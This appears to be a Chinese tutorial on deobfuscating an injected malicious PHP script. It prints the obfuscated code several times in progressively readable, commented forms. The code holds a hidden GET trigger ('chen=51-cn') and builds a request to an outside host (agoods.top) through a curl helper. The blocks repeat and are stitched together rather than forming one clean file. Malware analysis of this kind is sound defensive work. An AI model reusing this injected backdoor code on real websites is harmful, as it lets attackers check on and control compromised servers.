PHP代码混淆与恶意脚本分析：一步步去混淆指南

<?php 
@header('Content-Type:text/html;charset=utf-8');
error_reporting(0); 
$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; 
global $O; 
$O=urldecode($OOOOOO);
// ... 更多代码 ...

$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?> <.-=:/1230654879';()&^$[]\%{}!*|+,";

if($_GET["c"."h"."e"."n"]=="5"."1"."-"."c"."n"){
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    $oooOoOoOoOoooooOOooo = explode("<"."?"."p"."h"."p",$oooOoOoOoooOooOOooooo);
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
        echo "["."o"."k"."!"."]";
        exit;
    }else{
        echo "["."f"."a"."i"."l"."!"."]";
        exit;
    }
}

$oOooOO='z0807_1';
$oOooOOoO="h"."t"."t"."p".":"."/"."/".$oOooOO."."."a"."g"."o"."o"."d"."s"."."."t"."o"."p"; 
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    $ooooOOOooOo=curl_init();
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
    curl_close($ooooOOOooOo);
    return $oooooOOOOooO; 
}

if($_GET["chen"]=="51-cn"){
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    $oooOoOoOoOoooooOOooo = explode("<?php",$oooOoOoOoooOooOOooooo);
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$oOooOO='z0807_1';
$oOooOOoO="http://".$oOooOO.".agoods.top"; 
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    $ooooOOOooOo=curl_init();
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
    curl_close($ooooOOOooOo);
    return $oooooOOOOooO; 
}

if($_GET["chen"]=="51-cn"){
    $thisFileSource = file_get_contents(__FILE__); // 获取当前文件内容
    $parts = explode("<?php",$thisFileSource);     // 按"<?php"分割文件内容
    if(strpos($parts[1],'%71%77%65')!==false){     // 检查第二部分是否包含特定URL编码字符串
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$subdomain='z0807_1'; // 子域名片段
$url="http://".$subdomain.".agoods.top"; // 构造完整URL
function sendRequest($targetUrl){ // 定义一个发送HTTP请求的函数
    $curlHandle=curl_init();
    curl_setopt ($curlHandle, CURLOPT_URL, $targetUrl);
    curl_setopt ($curlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($curlHandle, CURLOPT_CONNECTTIMEOUT, 5);
    $result = curl_exec($curlHandle);
    curl_close($curlHandle);
    return $result; 
}

<?php 
@header('Content-Type:text/html;charset=utf-8');
error_reporting(0); // 禁用所有错误报告

// 核心字符映射表，用于构建其他字符串
// $O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?> <.-=:/1230654879';()&^$[]\%{}!*|+,";

// 检查URL查询参数，如果$_GET["chen"]的值为"51-cn"，则执行后续逻辑
if($_GET["chen"]=="51-cn"){
    $thisFileSource = file_get_contents(__FILE__); // 读取当前PHP文件的全部内容
    // 将文件内容按"<?php"分割。通常，恶意代码会注入到现有PHP文件的末尾或中间。
    // 如果文件中有多个"<?php"标记，这里会将其分割成多个部分。
    $parts = explode("<?php",$thisFileSource); 

    // 检查第二个部分（即第一个"<?php"标记之后的内容）是否包含特定的URL编码字符串。
    // '%71%77%65' 对应 'qwe' 的URL编码。这可能是恶意代码自身特征的检查。
    if(strpos($parts[1],'%71%77%65') !== false){ 
        echo "[ok!]"; // 如果包含，输出"[ok!]"
        exit;
    }else{
        echo "[fail!]"; // 否则，输出"[fail!]"
        exit;
    }
}

$subdomain = 'z0807_1'; // 定义一个子域名片段
// 构造一个完整的外部URL，指向 'http://z0807_1.agoods.top'
$externalUrl = "http://".$subdomain.".agoods.top"; 

/**
 * 发送HTTP GET请求到指定URL的函数
 * @param string $targetUrl 目标URL
 * @return string 请求结果或false
 */
function sendRequest($targetUrl){
    $curlHandle = curl_init(); // 初始化cURL会话
    curl_setopt ($curlHandle, CURLOPT_URL, $targetUrl); // 设置请求URL
    curl_setopt ($curlHandle, CURLOPT_RETURNTRANSFER, 1); // 设置将curl_exec()获取的信息以字符串返回，而不是直接输出
    curl_setopt ($curlHandle, CURLOPT_CONNECTTIMEOUT, 5); // 设置连接超时时间为5秒
    $result = curl_exec($curlHandle); // 执行cURL请求
    curl_close($curlHandle); // 关闭cURL会话
    return $result; // 返回请求结果
}

// 注意：在此代码片段中，sendRequest 函数虽然被定义，但并未被调用。
// 这可能意味着它在代码的其他部分被调用，或者是一个未完成的恶意功能。